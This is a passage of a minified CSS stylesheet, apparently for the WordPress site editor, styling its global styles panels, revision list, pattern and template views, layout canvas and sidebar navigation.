outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-canvas-loader{ align-items:center; display:flex; height:100%; justify-content:center; opacity:0; position:absolute; right:0; top:0; width:100%; } @media not (prefers-reduced-motion){ .edit-site-canvas-loader{ animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s; animation-fill-mode:forwards; } } .edit-site-canvas-loader>div{ width:160px; } @keyframes edit-site-canvas-loader__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .edit-site-global-styles-preview{ align-items:center; cursor:pointer; display:flex; justify-content:center; line-height:1; } .edit-site-global-styles-preview__wrapper{ display:block; max-width:100%; width:100%; } .edit-site-typography-preview{ align-items:center; background:#f0f0f0; border-radius:2px; display:flex; justify-content:center; margin-bottom:16px; min-height:100px; overflow:hidden; } .edit-site-font-size__item{ line-break:anywhere; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-font-size__item-value{ color:#757575; } .edit-site-global-styles-screen{ margin:12px 16px 16px; } .edit-site-global-styles-screen-typography__indicator{ align-items:center; border-radius:1px; display:flex !important; font-size:14px; height:24px; justify-content:center; width:24px; } .edit-site-global-styles-screen-typography__font-variants-count{ color:#757575; } .edit-site-global-styles-font-families__manage-fonts{ justify-content:center; } .edit-site-global-styles-screen .color-block-support-panel{ border-top:none; padding-left:0; padding-right:0; padding-top:0; row-gap:12px; } .edit-site-global-styles-header__description{ padding:0 16px; } .edit-site-block-types-search{ margin-bottom:8px; padding:0 16px; } .edit-site-global-styles-header{ margin-bottom:0 !important; } .edit-site-global-styles-subtitle{ font-size:11px !important; font-weight:500 !important; margin-bottom:0 !important; text-transform:uppercase; } .edit-site-global-styles-section-title{ color:#2f2f2f; font-weight:600; line-height:1.2; margin:0; padding:16px 16px 0; } .edit-site-global-styles-icon-with-current-color{ fill:currentColor; } .edit-site-global-styles__color-indicator-wrapper{ flex-shrink:0; height:24px; } .edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__typography-panel__options-container{ height:24px; } .edit-site-global-styles__block-preview-panel{ border:1px solid #e0e0e0; border-radius:4px; overflow:hidden; position:relative; width:100%; } .edit-site-global-styles__shadow-preview-panel{ background-image:repeating-linear-gradient(-45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5), repeating-linear-gradient(-45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5); background-position:100% 0, right 8px top 8px; background-size:16px 16px; border:1px solid #e0e0e0; border-radius:4px; height:144px; overflow:auto; } .edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{ background-color:#fff; border:1px solid #e0e0e0; border-radius:2px; height:60px; width:60%; } .edit-site-global-styles__shadow-editor__dropdown-content{ width:280px; } .edit-site-global-styles__shadow-editor-panel{ margin-bottom:4px; } .edit-site-global-styles__shadow-editor__dropdown{ position:relative; width:100%; } .edit-site-global-styles__shadow-editor__dropdown-toggle{ border-radius:inherit; height:auto; padding-bottom:8px; padding-top:8px; text-align:right; width:100%; } .edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{ background:#f0f0f0; color:var(--wp-admin-theme-color); } .edit-site-global-styles__shadow-editor__remove-button{ left:8px; opacity:0; position:absolute; top:8px; } .edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{ border:none; } .edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{ opacity:1; } @media (hover:none){ .edit-site-global-styles__shadow-editor__remove-button{ opacity:1; } } .edit-site-global-styles-screen-css{ display:flex; flex:1 1 auto; flex-direction:column; margin:16px; } .edit-site-global-styles-screen-css .components-v-stack{ flex:1 1 auto; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{ direction:ltr; flex:1 1 auto; } .edit-site-global-styles-screen-css-help-link{ display:inline-block; margin-top:8px; } .edit-site-global-styles-screen-variations{ border-top:1px solid #ddd; margin-top:16px; } .edit-site-global-styles-screen-variations>*{ margin:24px 16px; } .edit-site-global-styles-sidebar__navigator-provider{ height:100%; } .edit-site-global-styles-sidebar__navigator-screen{ display:flex; flex-direction:column; height:100%; } .edit-site-global-styles-sidebar__navigator-screen .single-column{ grid-column:span 1; } .edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{ background:unset; color:inherit; } .edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{ fill:currentColor; } .edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{ border-radius:2px; } .edit-site-global-styles-screen-revisions__revisions-list{ flex-grow:1; list-style:none; margin:0 16px 16px; } .edit-site-global-styles-screen-revisions__revisions-list li{ margin-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item{ cursor:pointer; display:flex; flex-direction:column; position:relative; } .edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid #0000; } .edit-site-global-styles-screen-revisions__revision-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{ content:"\a"; display:block; position:absolute; } .edit-site-global-styles-screen-revisions__revision-item:before{ background:#ddd; border:4px solid #0000; border-radius:50%; height:8px; right:17px; top:18px; transform:translate(50%, -50%); width:8px; z-index:1; } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:2px; color:var(--wp-admin-theme-color); outline:3px solid #0000; outline-offset:-2px; } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{ background:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{ color:#1e1e1e; } .edit-site-global-styles-screen-revisions__revision-item:after{ border:.5px solid #ddd; height:100%; right:16px; top:0; width:0; } .edit-site-global-styles-screen-revisions__revision-item:first-child:after{ top:18px; } .edit-site-global-styles-screen-revisions__revision-item:last-child:after{ height:18px; } .edit-site-global-styles-screen-revisions__revision-item-wrapper{ display:block; padding:12px 40px 4px 12px; } .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{ align-self:flex-start; margin:4px 40px 12px 12px; } .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{ color:#757575; font-size:12px; } .edit-site-global-styles-screen-revisions__description{ align-items:flex-start; display:flex; flex-direction:column; gap:8px; } .edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{ font-size:12px; font-weight:600; text-transform:uppercase; } .edit-site-global-styles-screen-revisions__meta{ align-items:flex-start; display:flex; justify-content:start; margin-bottom:4px; text-align:right; width:100%; } .edit-site-global-styles-screen-revisions__meta img{ border-radius:100%; height:16px; margin-left:8px; width:16px; } .edit-site-global-styles-screen-revisions__loading{ margin:24px auto !important; } .edit-site-global-styles-screen-revisions__changes{ line-height:1.4; list-style:disc; margin-right:12px; text-align:right; } .edit-site-global-styles-screen-revisions__changes li{ margin-bottom:4px; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{ gap:2px; justify-content:space-between; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{ height:1px; margin:-1px; overflow:hidden; position:absolute; right:-1000px; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{ font-size:12px; will-change:opacity; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{ color:#1e1e1e; } .edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{ color:#949494; } .edit-site-global-styles-screen-revisions__footer{ background:#fff; border-top:1px solid #ddd; bottom:0; height:56px; min-width:100%; padding:12px; position:sticky; z-index:1; } .edit-site-global-styles-sidebar{ display:flex; flex-direction:column; min-height:100%; } .edit-site-global-styles-sidebar__panel{ flex:1; } .edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{ margin:0; } .edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{ flex:1; } .edit-site-global-styles-sidebar .components-navigation__menu-title-heading{ font-size:15.6px; font-weight:500; } .edit-site-global-styles-sidebar .components-navigation__item>button span{ font-weight:500; } .edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{ border:0; } .edit-site-global-styles-sidebar .single-column{ grid-column:span 1; } .edit-site-global-styles-sidebar .components-tools-panel .span-columns{ grid-column:1 / -1; } .edit-site-global-styles-sidebar__blocks-group{ border-top:1px solid #e0e0e0; padding-top:24px; } .edit-site-global-styles-sidebar__blocks-group-help{ padding:0 16px; } .edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{ padding:16px; } .edit-site-global-styles-sidebar hr{ margin:0; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{ width:auto; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{ display:none; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .edit-site-patterns__delete-modal{ width:384px; } .page-patterns-preview-field{ align-items:center; border-radius:4px; display:flex; flex-direction:column; height:100%; justify-content:center; } .dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{ height:100%; } .dataviews-view-table .page-patterns-preview-field{ flex-grow:0; text-wrap:balance; text-wrap:pretty; width:96px; } .edit-site-patterns__pattern-icon{ fill:var(--wp-block-synced-color); flex-shrink:0; } .edit-site-patterns__section-header{ border-bottom:1px solid #f0f0f0; flex-shrink:0; min-height:40px; padding:16px 48px; position:sticky; top:0; z-index:2; } @media not (prefers-reduced-motion){ .edit-site-patterns__section-header{ transition:padding .1s ease-out; } } .edit-site-patterns__section-header .edit-site-patterns__title{ min-height:40px; } .edit-site-patterns__section-header .edit-site-patterns__title .components-heading{ flex-basis:0; flex-grow:1; white-space:nowrap; } .edit-site-patterns__section-header .edit-site-patterns__sub-title{ margin-bottom:8px; } .edit-site-patterns__section-header .screen-reader-shortcut:focus{ top:0; } .edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){ background:rgba(var(--wp-block-synced-color--rgb), .04); color:var(--wp-block-synced-color); } .dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{ width:350px; } .dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{ position:relative; } .dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){ background-color:#fff; border:1px solid var(--wp-admin-theme-color); border-bottom-left-radius:2px; border-bottom-right-radius:2px; box-shadow:0 0 .5px .5px var(--wp-admin-theme-color); box-sizing:border-box; max-height:96px; min-width:auto; position:absolute; right:-1px; width:calc(100% + 2px); z-index:1; } @media (min-width:600px){ .dataviews-action-modal__duplicate-template-part .components-modal__frame{ max-width:500px; } } @container (max-width: 430px){ .edit-site-page-patterns-dataviews .edit-site-patterns__section-header{ padding-left:24px; padding-right:24px; } } .page-templates-preview-field{ align-items:center; border-radius:4px; display:flex; flex-direction:column; height:100%; justify-content:center; width:100%; } .dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{ height:120px; } .dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{ height:100%; } .dataviews-view-table .page-templates-preview-field{ max-height:160px; position:relative; text-wrap:balance; text-wrap:pretty; width:120px; } .edit-site-page-templates .dataviews-pagination{ z-index:2; } .page-templates-author-field__avatar{ align-items:center; display:flex; flex-shrink:0; height:24px; justify-content:right; overflow:hidden; width:24px; } .page-templates-author-field__avatar img{ border-radius:100%; height:16px; object-fit:cover; opacity:0; width:16px; } @media not (prefers-reduced-motion){ .page-templates-author-field__avatar img{ transition:opacity .1s linear; } } .page-templates-author-field__avatar.is-loaded img{ opacity:1; } .page-templates-author-field__icon{ display:flex; flex-shrink:0; height:24px; width:24px; } .page-templates-author-field__icon svg{ margin-right:-4px; fill:currentColor; } .page-templates-author-field__name{ overflow:hidden; text-overflow:ellipsis; } .edit-site-list__rename-modal{ z-index:1000001; } @media (min-width:782px){ .edit-site-list__rename-modal .components-base-control{ width:320px; } } .edit-site-editor__editor-interface{ opacity:1; } @media not (prefers-reduced-motion){ .edit-site-editor__editor-interface{ transition:opacity .1s ease-out; } } .edit-site-editor__editor-interface.is-loading{ opacity:0; } .edit-site-editor__toggle-save-panel{ background-color:#fff; border:1px dotted #ddd; box-sizing:border-box; display:flex; justify-content:center; padding:24px; width:280px; } .edit-site-editor__view-mode-toggle{ view-transition-name:toggle; height:64px; right:0; top:0; width:64px; z-index:100; } .edit-site-editor__view-mode-toggle .components-button{ align-items:center; border-radius:0; color:#fff; display:flex; height:100%; justify-content:center; overflow:hidden; padding:0; width:100%; } .edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{ color:#fff; } .edit-site-editor__view-mode-toggle .components-button:focus{ box-shadow:none; } .edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{ background:#1e1e1e; display:block; } .edit-site-editor__back-icon{ align-items:center; background-color:#ccc; display:flex; height:64px; justify-content:center; pointer-events:none; position:absolute; right:0; top:0; width:64px; } .edit-site-editor__back-icon svg{ fill:currentColor; } .edit-site-editor__back-icon.has-site-icon{ backdrop-filter:saturate(180%) blur(15px); background-color:#fff9; } .edit-site-welcome-guide{ width:312px; } .edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{ background:#00a0d2; } .edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{ border-left:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{ border-right:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide__image{ margin:0 0 16px; } .edit-site-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-site-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-site-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 16px; padding:0 32px; } .edit-site-welcome-guide__text img{ vertical-align:bottom; } .edit-site-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-site-layout{ color:#ccc; display:flex; flex-direction:column; height:100%; } .edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{ background:#1e1e1e; } .edit-site-layout__content{ display:flex; flex-grow:1; height:100%; } .edit-site-layout__sidebar-region{ flex-shrink:0; width:100vw; z-index:1; } @media (min-width:782px){ .edit-site-layout__sidebar-region{ width:300px; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{ height:100vh; position:fixed !important; right:0; top:0; } .edit-site-layout__sidebar-region .edit-site-layout__sidebar{ display:flex; flex-direction:column; height:100%; } .edit-site-layout__sidebar-region .resizable-editor__drag-handle{ left:0; } .edit-site-layout__main{ display:flex; flex-direction:column; flex-grow:1; overflow:hidden; } .edit-site-layout__mobile{ display:flex; flex-direction:column; position:relative; width:100%; z-index:2; } .edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{ padding:0; } .edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{ padding:0 12px; } .edit-site-layout__canvas-container{ flex-grow:1; overflow:visible; position:relative; z-index:2; } .edit-site-layout__canvas-container.is-resizing:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:100; } .edit-site-layout__canvas{ align-items:center; bottom:0; display:flex; justify-content:center; position:absolute; right:0; top:0; width:100%; } .edit-site-layout__canvas.is-right-aligned{ justify-content:flex-end; } .edit-site-layout__canvas .edit-site-resizable-frame__inner{ color:#1e1e1e; } @media (min-width:782px){ .edit-site-layout__canvas{ bottom:16px; top:16px; width:calc(100% - 16px); } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; overflow:hidden; } } @media (min-width:782px) and (not (prefers-reduced-motion)){ .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ transition:border-radius,box-shadow .4s; } } @media (min-width:782px){ .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ border-radius:8px; } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{ box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005; } } .edit-site-layout.is-full-canvas .edit-site-layout__canvas{ bottom:0; top:0; width:100%; } .edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{ min-height:100% !important; position:relative !important; } .edit-site-template-pages-preview{ height:100%; } html.canvas-mode-edit-transition::view-transition-group(toggle){ animation-delay:255ms; } @media (prefers-reduced-motion){ ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){ animation:none !important; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{ display:none; } .edit-site-layout__view-mode-toggle.components-button{ view-transition-name:toggle; align-items:center; background:#1e1e1e; border-radius:0; color:#fff; display:flex; height:64px; justify-content:center; overflow:hidden; padding:0; position:relative; width:64px; } .edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{ color:#fff; } .edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{ box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color); outline:4px solid #0000; outline-offset:4px; } .edit-site-layout__view-mode-toggle.components-button:before{ border-radius:4px; bottom:9px; box-shadow:none; content:""; display:block; left:9px; position:absolute; right:17px; top:9px; } @media not (prefers-reduced-motion){ .edit-site-layout__view-mode-toggle.components-button:before{ transition:box-shadow .1s ease; } } .edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{ align-items:center; display:flex; height:64px; justify-content:center; width:64px; } .edit-site-layout__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:0; position:fixed !important; right:auto; top:-9999em; width:280px; z-index:100000; } .edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{ bottom:0; top:auto; } .edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{ top:0; } @media (min-width:782px){ .edit-site-layout__actions{ border-right:1px solid #ddd; } } .edit-site-layout__area{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; flex-grow:1; margin:0; overflow:hidden; } @media (min-width:782px){ .edit-site-layout__area{ border-radius:8px; margin:16px 0 16px 16px; } } .edit-site .components-editor-notices__snackbar{ bottom:16px; left:0; padding-left:16px; padding-right:16px; position:fixed; } .edit-site-save-hub{ border-top:1px solid #2f2f2f; color:#949494; flex-shrink:0; margin:0; padding:16px; } .edit-site-save-hub__button{ color:inherit; justify-content:center; width:100%; } .edit-site-save-hub__button[aria-disabled=true]{ opacity:1; } .edit-site-save-hub__button[aria-disabled=true]:hover{ color:inherit; } .edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{ color:#1e1e1e; } @media (min-width:600px){ .edit-site-save-panel__modal{ width:600px; } } .edit-site-sidebar__content{ contain:content; flex-grow:1; overflow-x:hidden; overflow-y:auto; } @keyframes local--slide-from-right{ 0%{ opacity:0; transform:translateX(-50px); } to{ opacity:1; transform:none; } } @keyframes local--slide-from-left{ 0%{ opacity:0; transform:translateX(50px); } to{ opacity:1; transform:none; } } .edit-site-sidebar__screen-wrapper{ overflow-x:auto; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{ background-color:initial; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:initial; border:3px solid #0000; border-radius:8px; } .edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{ background-color:#757575; } .edit-site-sidebar__screen-wrapper{ scrollbar-color:#0000 #0000; scrollbar-gutter:stable both-edges; scrollbar-width:thin; } .edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{ scrollbar-color:#757575 #0000; } .edit-site-sidebar__screen-wrapper{ will-change:transform; } @media (hover:none){ .edit-site-sidebar__screen-wrapper{ scrollbar-color:#757575 #0000; } } .edit-site-sidebar__screen-wrapper{ animation-duration:.14s; animation-timing-function:ease-in-out; display:flex; flex-direction:column; height:100%; max-height:100%; padding:0 12px; scrollbar-gutter:stable; will-change:transform, opacity; } @media (prefers-reduced-motion:reduce){ .edit-site-sidebar__screen-wrapper{ animation-duration:0s; } } .edit-site-sidebar__screen-wrapper.slide-from-left{ animation-name:local--slide-from-left; } .edit-site-sidebar__screen-wrapper.slide-from-right{ animation-name:local--slide-from-right; } .edit-site-sidebar-button{ color:#e0e0e0; flex-shrink:0; } .edit-site-sidebar-button:focus:not(:disabled){ box-shadow:none; outline:none; } .edit-site-sidebar-button:focus-visible:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid #0000; } .edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{ color:#f0f0f0; } .edit-site-sidebar-navigation-item.components-item{ border:none; color:#949494; min-height:40px; padding:8px 16px 8px 6px; } .edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{ color:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item[aria-current=true]{ background:#2f2f2f; color:#fff; font-weight:500; } .edit-site-sidebar-navigation-item.components-item:focus-visible{ transform:translateZ(0); } .edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#949494; } .edit-site-sidebar-navigation-item.components-item.with-suffix{ padding-left:16px; } .edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{ cursor:grab; padding:8px 0 8px 8px; } .edit-site-sidebar-navigation-screen{ display:flex; flex-direction:column; overflow-x:unset !important; position:relative; } .edit-site-sidebar-navigation-screen__main{ flex-grow:1; margin-bottom:16px; } .edit-site-sidebar-navigation-screen__main.has-footer{ margin-bottom:0; } .edit-site-sidebar-navigation-screen__content{ padding:0 16px; } .edit-site-sidebar-navigation-screen__content .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__content .components-heading{ margin-bottom:8px; } .edit-site-sidebar-navigation-screen__title-icon{ background:#1e1e1e; margin-bottom:8px; padding-bottom:8px; padding-top:48px; position:sticky; top:0; z-index:1; } .edit-site-sidebar-navigation-screen__title{ flex-grow:1; overflow-wrap:break-word; } .edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{ line-height:32px; } .edit-site-sidebar-navigation-screen__actions{ display:flex; flex-shrink:0; } @media (min-width:782px){ .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{ max-width:292px; } } .edit-site-global-styles-variation-title{ color:#ddd; font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ outline-color:#ffffff0d; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{ outline-color:#ffffff26; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ outline-color:#fff; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__footer{ background-color:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; gap:0; margin:16px 0 0; padding:8px 16px; position:sticky; } .edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen__input-control{ width:100%; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{ color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__input{ background:#2f2f2f !important; color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{ border:4px !important; } .edit-site-sidebar-navigation-screen__input-control .components-base-control__help{ color:#949494; } .edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:none; } .sidebar-navigation__more-menu .components-button{ color:#e0e0e0; } .sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen-patterns__group{ margin-bottom:24px; margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen-patterns__group:last-of-type{ border-bottom:0; margin-bottom:0; padding-bottom:0; } .edit-site-sidebar-navigation-screen-patterns__group-header{ margin-top:16px; } .edit-site-sidebar-navigation-screen-patterns__group-header p{ color:#949494; } .edit-site-sidebar-navigation-screen-patterns__group-header h2{ font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen-patterns__divider{ border-top:1px solid #2f2f2f; margin:16px 0; } .edit-site-sidebar-navigation-screen__description{ margin:0 0 32px; } .edit-site-sidebar-navigation-screen-navigation-menus{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{ white-space:normal; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{ margin-top:3px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{ padding-left:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{ display:block; margin-left:auto; margin-right:auto; } .edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{ display:none; } 